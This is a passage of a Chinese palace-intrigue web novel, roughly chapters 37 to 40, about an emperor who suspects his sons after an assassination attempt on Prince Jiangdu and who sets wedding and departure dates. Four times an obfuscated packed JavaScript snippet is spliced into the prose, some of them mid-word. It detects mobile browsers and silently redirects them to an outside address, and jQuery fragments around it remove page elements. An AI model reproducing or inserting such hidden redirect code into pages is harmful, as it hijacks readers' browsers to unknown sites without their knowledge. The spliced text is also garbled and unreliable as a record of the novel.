颜漪再是聪慧无双也不会猜到究竟发生了何事,但可以确定的是消息是被栎阳长公主、江都王他们隐下的。以她如今的身份,还不足以知晓此事。罢了,现在过多纠结也无意义,过一阵子总能显现一些出来的。 “阿姐,你看我写的对不对?”似乎是察觉到颜漪的分心,幼妹晃了晃被捏住的小手,把她唤回了神。 “好,我看看。”颜漪暂且收回思绪,专心教导幼妹习字。 昨夜里下了场雨,洗去了铅尘,也带来了一阵凉爽的风,让人大感痛快。只是有一处例外,便是皇帝所在宣室殿。 近身伺候之人任谁都看得出来皇帝近日来的心情不好,如同没下雨之前隐忍烦躁。至于是缘由,怕也只有最近身伺候的中常侍知道。但这事太过敏感忌讳,谁又敢多言,只能等皇帝自己想明白了。 皇帝近来睡得不大安稳,一来是因为头疾复发,二来则是心里揣着事情。 那日羽林中郎将面对皇帝的质询并不敢有半句隐瞒,江都王围场遇刺与后续栎阳长公主令羽林卫搜山之事都叫皇帝知道了。自那之后,他便一直心情沉郁。 皇帝忍不住会去想,五郎遇刺,幕后会是谁在支使?刺客逃了,只有一支差点射中五郎的粗制箭矢,根本就无从查起,也就没有办法明确的地指向谁。但要说完全没有怀疑对象是不可能的,怀疑并不需要多么铁实的证据,更何况这个人是皇帝。 在得知百里漾遇刺的那一瞬间,皇帝的脑海中就浮现出了好几个怀疑对象。可他不愿意去想,却又不得不去想,故头痛至此。 “陛下,汤药来了,小心烫。”中常侍自殿外捧了汤药进来,到皇帝面前。皇帝这些时日心里头憋着事,心累连带着身体也疲惫。 皇帝被中常侍从迎枕上扶起时,他忽然看到中常侍两鬓间花白到有些刺眼的头发,又想起晨间梳洗时自己脱落下来卡在木梳齿间的白发,忽然对自己开始苍老有了一种直观的认知和体会,他问中常侍道:“一晃眼,你跟在我身边也许多年了,还记得你是如何到我身来的?” 中常侍不知皇帝为何忽生此感慨,转念间也有了猜想,只是面上不觉,边伺候皇帝服用汤药边回道:“自不会忘,若无陛下,奴婢只怕早已丧生在贼军的铁蹄之下了。” 中常侍姓齐,原名在早年去势入前朝皇宫时就抛弃了,后来前朝哀帝崩,各路人马攻入皇城,有不讲究的就直接在皇宫之中大肆烧杀抢掠。中常侍当时只是个平平无奇的小内侍,差点就被乱军的马蹄踩死,是皇帝出现及时救下他性命,后来他便跟在皇帝身边伺候,一直到如今。 “当真是岁月催人老,转眼三十载都过去了。”皇帝口中涩然,苦味弥漫在整个口腔里麻得都快没有味觉了。 “奴婢有幸侍奉陛下三十载却还不知足,还想着能够长长久久地伺候下去。”中常侍一面递了水给皇帝净口,一面如此回道。 皇帝被他的话逗乐了,笑道:“朕身边怎么也少不了你。” 主仆俩一番对话,让皇帝心情变好了些。他扫一眼案头上的奏本,其中有一本是灵台丞前不久递上来的吉日册子,想了想,将之拿在手上,起身往外走,“今日天光不错,正好去皇后那瞧瞧。” 中常侍急忙跟在后头,一面喊着“摆驾椒房殿”。 皇帝未到,椒房殿这边已收到消息,便准备着要接驾。好在皇帝一月之中来椒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779268|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房殿的次数并不算少,宫人接驾已有经验,一切都在有序进行。 不多时皇帝便来了。 “拜见陛下。”椒房殿外,皇帝扶住了皇后欲下拜的身子,温声道:“不必多礼,我来看看你,咱们进去说话。” 帝后两人相携进殿,掌宫令为二人奉上了新制的蜜水,里面加了柑橘片等物,使得滋味甜而不腻,别有一股清新在里头。皇帝喝之后眼睛微亮,赞道:“这味道不错,怎么突然弄出这般特别的喝法?” “这是五郎向太医问来的法子。他念着我时咳不止,前日来看我食欲不振,汤药太苦,他便想着从药膳着手,特地去太医学来的。” 皇后说起幼子时,眼里俱是一片软和的笑意,身上一国之母的端庄雍容尽数转化为了一个母亲的和软慈爱。皇帝很喜欢皇后的这种转变,这给他一种亲切温暖的感觉,就仿佛回到了二十多年前,他们刚成亲一年之后也就是他们的第一个孩子也就是太子出生的时候。不管白日里在外面如何拼杀,夜里也总能回到那个始终有人在等着他的温馨小家里。 “五郎有心,他向来是个孝顺的好孩子。”皇帝想到百里漾此前数年即便远在江都也不忘时刻奉家书问候父母双亲、兄姊。这次回来只要有时间就会进宫在他与皇后身前侍奉。五郎确实质诚孝纯,也确实比其他的那些儿子让他省心多了。 思及此,皇帝心中沉沉一叹,面上无异,而后便听皇后问道:“眼看就要六月了,陛下可定下了五郎的婚期?” 诸侯王大婚,各种事项皆要准备。好在此前有太子、定安王成婚时的成例在,有司安排起来也是忙中不乱。但唯有一点,婚期未定,没有时限,有司筹备的进度也不好把握。为此,有司已派人来皇后这里委婉地催过三四回了。 但此事没有那般简单,涉及到皇帝自己对诸侯王的安排,他有自己的考量,故而一直没有下决定。有司也知道此事真正应该催的是皇帝,但没人敢去,只能到皇后这里委婉表达一下他们下边人做事的为难。正巧今日皇帝来椒房殿,皇后也顺便问了。 “可巧,今我来也正是要说这事。“皇帝拿出吉日册子,点指了上面被朱笔圈出的一个日子,笑道,“思来想去还是这日子最好。毕竟是我们儿子一辈子的大事,自然要图个最好的兆头。” 他话一转,手覆上皇后的手背,语带悯意,“五郎他年幼便离京就国,我知这些年你也想他想得厉害,正好借着成亲让他这回在京多待一段时日,好好陪陪你。” “多谢陛下。”皇帝如此体贴,皇后心愿达成,不由伏到皇帝怀中眼眶微红,险些泪目。 “你我何必言谢,五郎也是我的儿子,我也盼着他能在京多留些时日。”皇帝抱住妻子,一手在她的后背轻抚,过了一会儿,他问道:“前日五郎来可还说些什么?” “前日?”皇后自皇帝怀中起身,略思索片刻,怡然答道,“他前几日不是往围场去了一趟么,得了两张鹿子,送与我制衣。” 38. 第 38 章 “没说点别的?” 皇后反问道:“陛下想听什么?” 皇帝神情肃然,定定看了皇后好一会儿,他不说话时一股不怒自威的气势便散发出来。眼看帝后之间气氛不对劲,在旁伺候之人皆惊惧无声了。 为君日久,皇帝身上的威势便越重,他面无表情时便更显得天成难测,让人不由得心生恐惧,但皇后却不怕他,眼神示意其余人退下。 皇帝见状也没有阻止,因为接下来的话只能帝后二人知晓。皇后从头到尾都很淡定,还给皇帝沏了新茶,递给皇帝,“陛下喝口茶。” 皇帝微微蹙眉,却也不曾拂她的意,接过来饮下,搁在案上,开门见山道:“围场之事,五郎没同你说?” “陛下想知道什么?”眼前这一遭皇后是预想过的,多年夫妻,纵使丈夫已经为帝多年,他的心思如何,皇后是能够猜到大半的,也知道皇帝此次不是来问罪的,眼下也不是真的生气。 皇帝见她还不愿说,顿时有些着恼,“五郎遇刺之事,你怎不与我说?” 他是笃定了皇后会知晓此事,以五郎之孝顺,不会瞒着阿娘。即使五郎不说,难道长子、长女就不会说么了? 遭皇帝质问,皇后面上显出怒意,“与陛下说又何,难道陛下能为五郎做主?” “诸侯王遇刺岂是小事,朕自当会查明此事。”见皇后对着他语气直冲,皇帝也恼了。但话没说完就让护子心切的皇后打断,“仅凭一支箭矢,如何查?纵然能查,陛下真的愿意真相大白么?” 被皇后如此顶撞质问,皇帝是真被激出火来了,脑袋开始一阵阵发紧,面色铁青,刚要怒斥皇后,却见皇后将一长状物掷于桌面上,好一声重物跌落碰撞的重音,“砰隆”。 皇帝定晴一看,一只造型并不算很工整,尾羽稀疏,箭头粗糙却锋利无比的箭矢占据了他的视野。那一瞬间箭头一面反射出的寒光还刺中了他的眼睛。他立时就意识到这便是在围场险些射中他之五子那支箭矢。 “若非百里氏的祖先庇佑,五郎岂能好好地回到我身边。”素来沉稳的的皇后少见的失了自己国母的仪态,凤鸟袍服之下的躯体在微微颤抖,就连眼眶都浸染出了一片赤色的红。在此刻,她只是一位差点痛失孩子的母亲。 皇帝不知是被皇后眼角的红还是被冰冷箭矢上的寒光刺痛了眼睛,他偏过头去。类似的话羽林中郎将也同他说过,而他年轻时亦是挽过强弓射杀过敌军将领的,自然也知道,按照羽林中郎将对当时的描述,那突袭的一箭的凶险。 那一箭,的的确确是冲着取五郎的性命来的,一击不中,箭头都全然没入树干之中。幕后之人,用心歹毒,皇帝也不能否认这一点,而令他的心既惊且寒的是,对他这个儿子下手的极有可能是他的其他几个儿子。 皇帝禁不住去猜测,是二子、四子,还是六子?他不愿意去想他的儿子们已经开始对兄弟下手,可现实如此,不得不去想。 百里氏得天下不过二十几载,传到皇帝百里纵身上不过才第二代。而皇帝因在百里氏夺取天下的过程中取得的莫大功绩与威信,使得他在高皇帝在位时毫无阻碍地成为了衍朝太子,而后顺利继承大统,成为天下之主。 皇帝是没有经历过兄弟厮杀、你死我活的储位争夺之战的,但这并不代表他不清楚里面斗争的残酷。兄弟阋墙、骨肉相残,他不希望这些发生在自己的儿子之间。但现实告诉他,这似乎无法避免,甚至已经在上演了。 权力动人心。他的那些儿子们,一个个的都逐渐长大,又眼看着太子长期病弱、病体难支,都开始起了一些自己的想头了。有想法就会有行动,这一次五子遇刺未尝就不是如此。 皇帝并不糊涂,他实则想的透彻。当得知百里漾遇刺之初他确实是又惊又怒,可后来想到行刺的幕后凶手有很大可能是他的其他儿子,他又如何想,如何处理此事? 对于这个问题,皇后心中早已有了答案。不管是从父亲还是皇帝的身份出发,皇帝都不会对定安王他们有什么实质性的处罚。 因为百里漾虽遇刺,但总归毫发无伤,仅凭一根来历不明的箭矢就要处罚其他身为诸侯王的儿子们,一来皇帝不愿,二来朝臣那里就说不过去。皇帝这几日的沉默不过是在等,等百里漾来向他诉请追查此事,或者说是在等百里漾不来向他禀明。 相比于女儿百里澄,与皇帝数十年夫妻的皇后更能勘破他内心更深处的想法——皇帝希望百里漾不来。而百里漾不来向他诉苦追查此事就意味着自己放弃了追究幕后的兄弟们。这样的百里漾在皇帝的心里无疑是一个识大体且宽容大度、友爱兄弟的好儿子。 皇帝会欣慰于百里漾的懂事孝顺,但他同时也会心疼他的这份懂事,因为这份懂事是建立在百里漾委屈自己的前提之下的。惯爱哭闹的孩子固然会引起注目,可懂事受委屈的孩子也令人心疼。皇帝会心疼百里漾这个儿子,必然会在别的地方给予他补偿。 这也是皇后敢于与皇帝“争执”的原因,皇帝这回理亏,因为他要为了自己的其他儿子而委屈皇后的儿子,自然就气短了。 “这件事情,是咱们的儿子受委屈了。”良久,皇帝叹息一声,上前揽住皇后的肩,将她揽入怀中。 皇后没有挣扎,顺从地靠入皇帝的怀里。似乎是拭泪,皇后过一会儿就离开了,又恢复成了端庄威仪的一国之后。她软了语气道:“妾知陛下所虑皆为大局,实在怪不得陛下。陛下虽是五郎之父,却更是天下之人的君父。孰轻孰重,我们都明白的。方才是妾失态了。” 皇后的态度不再强硬,皇帝心下松了一口气,他向皇后说道:“后边的事情我会处理,你只管安心筹备五郎的婚事。我知道你一直盼着五郎成婚,我也在盼着。为人父母的,此生所愿所盼不就是儿女成家立业么?” 不说皇后,皇帝亦是在盼着百里漾成婚生子的。他一直叹惋太子的子息不丰,可不能强求于太子,当下也只能寄希望于五子了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785085|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这边气氛融融,另一头皇帝往椒房殿去的消息也传到了周贵妃的耳中。周贵妃保养得宜的脸上免不了嫉恨,这几日她派人去请皇帝,结果皇帝都推脱不来,转过头却主动去了椒房殿。 周贵妃气自然是气的,但更多的却是为儿子定安王嘱托自己的事情而焦心。三日前定安王入宫寻她,说自己已与长夏王、山阳王一同请求陛下准他们观完兄弟婚仪后再返回封地,可陛下迟迟没有答复,没说准也没说不准。 定安王不好一直在皇帝面前请求此事,于是便想请母妃襄助,劝说皇帝。周贵妃自是应下,可那也要见到皇帝才行,去宣室殿的宫人往往也只得了一个“陛下勤政无暇,请贵妃自便”的答复回来。 “明日再去请罢。”周贵妃并不气馁,儿子请托之事要紧,她总得想法子替儿子办了。请一次、两次、三次皇帝不来,她再去请,如此坚持下去,皇帝总不会一直不来的。 然而就在周贵妃筹谋着如何说动皇帝之时,却突然传来“噩耗”。皇帝先是定了江都王的婚期为八月初六,可还没得各方有所反应,皇帝又定下了其余诸侯王返回封地的限期即六月十五之前,算起来也就剩十几日了。 消息一出,自然就有人欢喜有人愁。定安王在王宅乍闻此事惊得霍然起身,急问道:“怎会如此?!” 无人能回答他,这消息来得突如其然,其他人也犹在震惊之中尚未缓过神来。还是王国相率先回过神来,镇定道:“大王宜速速入宫。” 此事他们事先没有收到一点风声,实在突然,恐怕是发生了什么他们不知道的变故促使皇帝做出了这般决定。王国相让定安王入宫并非是直接去找皇帝,而是寻周贵妃打探缘由。 “国相说的是。”定安王也镇定下来,还道,“前两日骐儿说思念祖母,今日便带他入宫拜望母妃。” 看到定安王已有成算,底下人颇为心安,认为事情总该还有转圜的余地。王国相更沉稳老道,面上虽不显,心下却微沉,总有一股不好的预感挥之不去。 如王国相所预感的那样,定安王入宫寻周贵妃打探得到的结果并不好,周贵妃亦是突然得知的消息,正惊怒不已时,儿子定安王就上门来问了。 周贵妃拧着帕子,面上满是不解,语气也不禁透出几分烦躁,“我亦不知为何陛下突然如此决断,那日你来托我之后,几次三番去请陛下,皆是被拒。” “那宫中最近可有什么异常发生?”定安王又连忙问道。他所说的“异常”显然并不是明显可见的,而是发生在细微之处不易被人发觉且有可能影响皇帝做出决断的。 被儿子这么一问,周贵妃便陷入了沉思,在脑海中细细地回忆搜寻曾被自己忽略的细节。见状,定安王也按捺住焦急,耐心等待。 一刻钟之后,周贵妃从回忆中抽离,在定安王期待的目光中摇摇头,眼看着他眼里的光灭掉。她按了按眉心,“这些时日陛下几乎不往后宫来,我也无从试探他的态度。” 39. 第 39 章 “不对,必然是发生了什么。”定安王坚信不疑。他此前小心试探分明觉察到皇帝对于他们兄弟几个的请求并非全然的无动于衷,于是他便觉得延迟回返之事大有可为,就想再找人使使劲去说动皇帝。 就如一场战事,他整顿兵马、满怀信心与希望备战,可兵还没带上战场就骤然得知自己败了,原因不明,这让他如何甘心? 定安王当然不会让这事就这么算了。在周贵妃这里得不到线索,他也不多待,同周贵妃告辞之后便匆匆离开了皇宫。此刻,他一点头绪都无,是不好贸然去找皇帝请求改变主意的。 接下来的这两日里,定安王多方打听皇帝为何突然做出提前赶他们回封地的决定。前朝他有亲近他的大臣帮忙打探,后宫亦有周贵妃在襄助于他。可惜即便有多方力量的加持,他依旧没有得到想要的结果。 不说定安王如何恼恨不甘要想办法补救,他这一系列的动作也被许多人看在了眼里,也就有了各自的看法。 “不对劲啊,太不对劲了。”崔栋原本歪斜在矮榻上啃瓜子,越想越觉得不对劲,突然“蹭”地一下就蹿起来,旋即又陷入了沉思之中,僵直着身体不动了。 “……”百里漾扔抓了一个小橘子砸到崔栋身上,喊他,“诶,回神了,想什么呢?” 崔栋精准接住了小橘子就开始剥皮,三两下就扒好一整个往嘴里扔,“我在想定安王他们几个的事情。” “想出什么了?” “这几日他们上蹿下跳的,你不是也瞧见了么?”崔栋又扒了一个橘子,边扒边说道。 话不用说的太明白,百里漾就已然领会崔栋要表达的意思了。 皇帝下的这两道圣谕相当于是给受了委屈的百里漾的补偿。这一点,百里漾他们自己知道,围场行刺的幕后主使也该知道。但还远不止这一点,皇帝此举还包含了对定安王他们几个的警告。既受了皇帝的警告,那么定安王几个就应当老实安分些,而不是这般继续蹦哒。 可现实的状况恰恰相反。定安王这两日想尽了办法请皇帝收回成命,甚至还跑到皇帝面前亲自请求,结果是被皇帝训斥了一顿。长夏王与山阳王虽没有定安王“努力”,但他们亦是有所动作的,也都想使皇帝改变主意,让自己能在湛京多留一段时间。但结果也很明显,他们越是要争取,皇帝就越不耐烦,已经让鸿胪寺开始督促藩王回国之事了。 “这样瞧着,似乎围场行刺的事情倒与定安王无关了?”崔栋摸着下巴说道,在思索也在怀疑。 自皇帝下诏后的这几日以来,他们冷眼瞧着,三王之中最积极致力于让皇帝改变主意的无疑是定安王。其余二王在遭受一次挫折之后就逐渐没了动静,唯有定安王还不肯放弃,听说昨日连带着周贵妃去劝说请求都被皇帝喝斥了一顿。 这样怎么看,定安王都不像是围场行刺的幕后主使之人。那么,幕后凶手就很有可能是长夏王与山阳王中的一个了?可这些终归只是他们的猜测,证据太过单一,不足以让他们得出可靠的结论,以至于他们看谁都有嫌疑。 “此时纠结无益,日子长了,他们总会藏不住的。”百里漾也想不明白,只能说他对这些隔了数年不见的兄弟们并不了解,也许也是因为他的这些兄弟们太会隐藏自己。 而此时的宣室殿之中,定安王双膝跪地,额头也磕在坚硬的地砖之上,为周贵妃向皇帝求情被喝斥之事辩解,说周贵妃是出于“思子心切、不舍骨肉分别”之心才一时激动言辞冲撞陛下,请求皇帝不要怪罪周贵妃,一切都是他的错。 按照往时,定安王的这番说法是没有问题的,一个是慈母,一个是孝子,母子连心,彼此顾念忧心,皇帝纵然不会立时改变主意也会心软。可今日却不是这样。定安王言辞恳切说完之后,始终未闻皇帝叫起的声音,后背如这夏日的地砖般变凉,心也一点点沉下去。 自从皇帝下诏令诸侯王们限期离京,他心中是很不情愿的,同时也心中大急,一方面他急于探明皇帝突下此决定的原因,一方面要设法使皇帝改变主意。但他为此做出的诸多努力并没有得到良好的反馈,反而越发激起了皇帝的不满,甚至昨日连周贵妃都被皇帝训斥了。 定安王是在昨夜里骤然得知这个消息的,惊得他几乎是彻夜难眠。他意识到,一定是有他不知道且尤为重大的事情发生,这件事情很重要,重要到甚至影响了皇帝对他的态度。从回到湛京至下诏之前,皇帝从来都未曾给他冷脸,可现在却处处透出对他的厌烦。 不行,不能再这么下去了。 定安王咬牙切齿,皇帝驱他们离京之心已定,他再做努力意图改变只会引起皇帝的反感,只能放弃,老老实实地接受离京的安排。可致使皇帝改变态度的缘由弄不清楚,他心中便不能安定,他直觉那件他不知道的事情很有可能会成为他的一个隐患,不能放任不管。 故今日天一亮,定安王便入宫来拜见皇帝。一来是为周贵妃求情,使皇帝消气,二来则是意图当面打探皇帝态度改变的缘由。 皇帝在御案之后批阅各地呈上来的奏事,任由定安王跪伏在阶下诉说,至始至终未发一语。定安王叩首在地,也不得见皇帝的神色,心中惶恐不安。 这一段等待的时候对定安王来说属实漫长,但其实并不久。在他说完陈情之语后,皇帝提着笔不紧不慢地奏事上批了一行字,方抬首看向他,允他起身。 定安王何曾受过皇帝这样的冷待,因摸不清皇帝的态度而心中打鼓、忐忑不安。起身之时他想去看一眼皇帝的神色,却正好与皇帝那双辨不清喜怒的眼睛对上,心下更慌,急忙收回了视线,不敢再窥视天颜。 他不敢看皇帝,皇帝却在看他。 皇帝目光沉沉看着阶下的三子,他在想,五郎围场遇刺之事与三子究竟有没有关系。五郎是椒房所出,如今更是贵为江都王,何人胆大包天敢行刺于他,还能在事后逃之夭夭?皇帝心里很清楚,只有他另外的儿子会干此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787616|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,嫌疑最大的就是眼前的三子。万幸五郎并无受伤,所以围场遇刺之事皇帝选择了隐没且不追究,但这并不代表他心中不膈应此事。 这几日皇帝冷眼瞧着定安王几个上蹿下跳,未尝不是在观察,四子与六子受挫之后便放弃,唯有这三子还不甘愿从命。看似这几个儿子没有嫌疑却又都有嫌疑,皇帝发觉他的这些儿子确实是都长大了,一时之间他都有些看不穿他们了。 眼见着皇帝的态度依旧冷淡,定安王很是灰心,再留在这里也是无益,他拱手便向皇帝告退。皇帝并不挽留他,点头让他走了。 回到定安王宅后,定安王面色阴沉一片,叫人去请王国相等人过来书房议事,他定要弄清楚究竟发生了什么他不知道的事情。但这几乎没有头绪的事情光他一人是很难想明白的,要集众人之力一块去想,必有细枝末节是被忽略了的。 定安王手底下还是有些能人与人脉的,有一得用的幕僚提了一嘴“围场行猎”,他便觉得其中透着一股蹊跷,“栎阳长公主与江都王来去匆匆,总觉透出几分蹊跷。” 他这么一说让定安王忆起当初他在酒楼之上瞧见羽林卫回程之事,那时便觉怪异,只是没有多想。如今细细想来,问题极有可能是出在这了,围场之中一定发生了什么,而椒房那边加以利用,使得皇帝决意提早赶他们回封地。 有了头绪便去做。定安王动作极快,他私底下令人去接触那几日被遣去围场的羽林卫,用金银之物向他们买消息。其实向羽林中郎将打探消息是最直接便捷的,他必然知道围场之中发生了什么。但羽林中郎将是皇帝的人,定安王不愿意冒这个险。 过程并不顺畅。那些羽林卫被下了封口令,大部分人不愿意冒险,负责此事之人碰了不少次壁。好在定王安出手阔绰,重金之下,有人顶不住诱惑,将消息秘密告知。 “遭遇猛兽攻击?” 定安王对此将信将疑。这算什么?朝中已有好几年没有举办秋狝冬狩了,围场之中有野兽猛禽不足为奇。百里漾自己倒霉跑到围场里遇到猛兽袭击,关他什么事,这还能算到他的头上了?他下意识便觉得那羽林卫恐怕也不知真相,还要让人再去寻别的羽林卫打探。 坐在一旁的王国相至始至终都眉头紧锁,他的脑海中忽然有一念闪过,被他紧紧抓住,越想越觉得这便是真相,他对定安王道:“大王,猛兽攻击是假,遇刺是真。” “遇刺!”定安王被惊得心头一跳,连带着人都要跳起来了。 王国相道:“按照消息,栎阳长公主与江都王他们只在抵达的次日入过一回围场,四个时辰后便出来,随后便是羽林卫搜山。若搜山是为了驱逐野兽,何故他们第二日便匆匆赶回。那几日,京中并无大事发生。若非刺杀,如何解释陛下近日以来对您态度的转变?” “若是刺杀,怎么半点风声都无?”定安王还有疑虑。诸侯王遇刺可不是小事,若是他必定要拿此事大做文章,为自己争取最大的好处。 40. 第 40 章 “江都王他们怕是没有捉到行刺之人。”王国相分析道,“刺杀突然,行刺者必是有备而来。围场四处都是山林,人影没入其中便难寻踪迹。没有行刺者,江都王他们便追查不了幕后之人,也就无法指认凶手。换了别人,只能吃下这个闷亏。” “可百里漾不是别人,他是椒房所出,背后站着东宫,站着椒房,阿爹向来偏宠他们。”如此一通分析,事情都能连起来了,定安王信了有刺杀之事。他面色忿忿,一切都想通了,“所以陛下是怀疑我,怀疑是我指使人去行刺百里漾。” 不,不只是怀疑他,还有老四和老六。所以陛下才会一面勒令他们早日离京,一面延长百里漾的婚期,这算是对百里漾的一种补偿。可是这关他什么事,又不是他叫人去行刺的百里漾,反倒让他遭受了陛下的猜疑。 理清真相后的定安王心头憋了一团火无处发泄,他觉得自己是遭受了无妄之灾,到底是哪个蠢货干的,干又不干的彻底,连累到他的身上。是老四还是老六?一个看着轻狂放诞,一个看着稚嫩怯弱,究竟会是谁在面上的这张皮子底下藏了一颗如此大的心胆。 定安王头一次对长夏王和山阳王生起了忌惮防备之心。幕后主使胆子如此之大,竟敢派人去行刺百里漾,若是成功了说不得还要栽赃到他的头上来。太子眼瞧着活不长,少了他与百里漾,这两人的机会不就来了么?至于底下的老七和老八,那就是两个毛都没长齐的,根本不足为虑。 “此事可还有补救之法?”定安王问道。 行刺虽没成,可眼下这个局面也不见得有多有好。定安王终究不甘心,想问问有没有什么弥补之法,至少要想办法挽回皇帝对他的观感。现在皇帝怀疑他,而这事是没法辩解与自证的,只会越描越黑。算起来,这一波反倒是让椒房那边的人捡到好处了。 王国相道:“大王最好什么都不要做。” 事关椒房所出之子,皇帝显然余怒未消,此时又正是猜疑他们大王的时候,再有动作在皇帝眼里也只落下不安分、不知好歹的印象。 “也只能如此。”定安王不甘心却毫无办法,便听从了王国相的劝谏。 自此之后,定安王几个总算是消停了,对于皇帝要求他们于六月十五之前返回封地的诏令也接受了。如今已经迈入了六月,说起来也没有多少日了,也是时候该准备准备,收拾一下行装,省得回程之时再添麻烦。 在离京之前,定安王虽然没有再想着使法子让自己留在湛京,但仅剩不到半月的期限让他颇有些紧迫感,他得趁这些时候多多联络大臣,来日太子真薨了,他才更有机会不是。于是,这十几日来,定安王可是忙碌,他频频出现在湛京中的各大宴会之上,与人推杯换盏、相谈甚欢,还顺便纳了几房侧室,可谓是收获多多。 定安王这样蹦跶也没人去管他,这才哪到哪,参加几次宴会、喝几杯酒就能说动大臣投靠或是看好他了?哪有这么容易。从龙之功不是那么好挣的,若非有天大的好处以及你确实有成事的可能,否则人家日子过得好好凭什么冒着满门抄斩的风险附从于你。 如今皇帝虽渐多病但依旧强权在手,他对东宫的看重有眼睛之人都看得见。而东宫除了病弱无子这一点其余的都很稳,更别说背后还有椒房贵戚崔大将军镇着。更不用说再过不久,江都王就要赢取定国公的嫡长女了,这门婚事还是皇帝亲自定下的。皇帝若非不是看重椒房一脉,怎么会如此作为。 不管怎么样,椒房这边的赢面依旧很大。真正精明的人才不会在这时对着定安王许诺什么,面子上敬着,真有想法那也得等到时机成熟才能行动。现在还不是时候,远远不是。 东宫与椒房都不去管定安王他们,只要不惹到他们头上,他们想干什么就由他们去。不管怎么说,太子为兄长,对底下的弟弟妹妹们要持着宽容的胸怀。左不过定安王几个最多十几日就走了,让他们再蹦跶几日又有何妨。 况且定安王他们如今还不值得椒房再分出心神去关注,椒房如今忙着筹备两桩婚事,一桩崔栋的,一桩百里漾的。 百里漾的婚期在八月初六,他是诸侯王,婚礼的一切事宜都有朝廷相关的衙署在准备,只需要大体盯着进度就是,并不需要多费什么心神。可崔栋与卢氏那一桩就不一样了,一家娶媳妇,一家要嫁女儿,所有的婚礼筹备都要由两家商量着来。 好在成亲这事都是有规矩和步骤在的,忙是忙了点,一切也都在朝着最终的那个目的有序进行。刚迈入六月,灵台丞那边就给崔预夫妇送来了他帮忙算的吉日,与卢家那边商议之后,正式将亲迎的日子定在了六月二十六。 这日子也不是随便算的,据说不仅要看天象,还得结合男女双方的生辰八字一起算,尤其讲究,甚至到了复杂的程度。这正合崔预夫妇的心意,天晓得他们盼儿子成亲生孙子给他们抱盼了多久,讲究好啊,要的就是吉利,这样日后崔栋才能够婚姻美满、多子多福。但这在李氏眼中还不够,她需要再为儿子的这桩婚姻增添福泽,她选择向神明祈求福祉。 “南城之外有一座云山寺,寺中有一颗千年的姻缘树,据说无比灵验,你们过几日去拜拜,求一枚姻缘符回来。” 这日,百里漾来到大将军府拜见崔预夫妇。崔预是大将军,几乎是每日忙得脚不沾地,今日百里漾去时他不在家,李氏在,于是他与崔栋就陪着李氏喝茶、说说话。说着说着,李氏突然冒出这么一句话来。 话题跳转得如此突然,百里漾一时有些愣住,与崔栋对视了一眼,没说话。 “我细细打听过了,那姻缘树尤为灵验,婚前去祈福许愿之人婚后生活多是幸福美满、儿女双全。”李氏还在说,眉眼之间极是向往,“知道执金吾柏家的长子么,他成亲都多少年了,一直没个孩子。去年他家长媳去了一趟云山寺,回来之后便诊出了滑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795274|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脉,前不久才剩下一对龙凤胎,出了月子就去还愿了。可见那处确实灵验。” 李氏说得眼睛都要放光了,百里漾与崔栋在她的脸上只看到了明晃晃的“羡慕”二字,知道她是眼馋别人家的龙凤双胞胎了。且这种事情怎么说也算是别人家的秘密,李氏能知道怕也是与那家女眷关系好,人家告诉她的。她这会儿让百里漾也去,背后怕也有皇后的意思,恐怕这天底下所有膝下有儿女的母亲都拒绝不了“幸福美满、多子多福”。 这是长辈的一番好意,百里漾与崔栋当然不会拒绝,当下就应承了,说后日就会去。 百里漾在大将军府坐了一个时辰后便起身告辞了,崔栋送他到府门口,问他道:“后日何时出发?”他问的是去云山寺拜姻缘树的事情。 “巳时。”百里漾想了想自己这两日有什么事情要做,回道,“届时我们再汇合。” “好。”崔栋答应得痛快,之前在李氏面前他也并无不情愿。 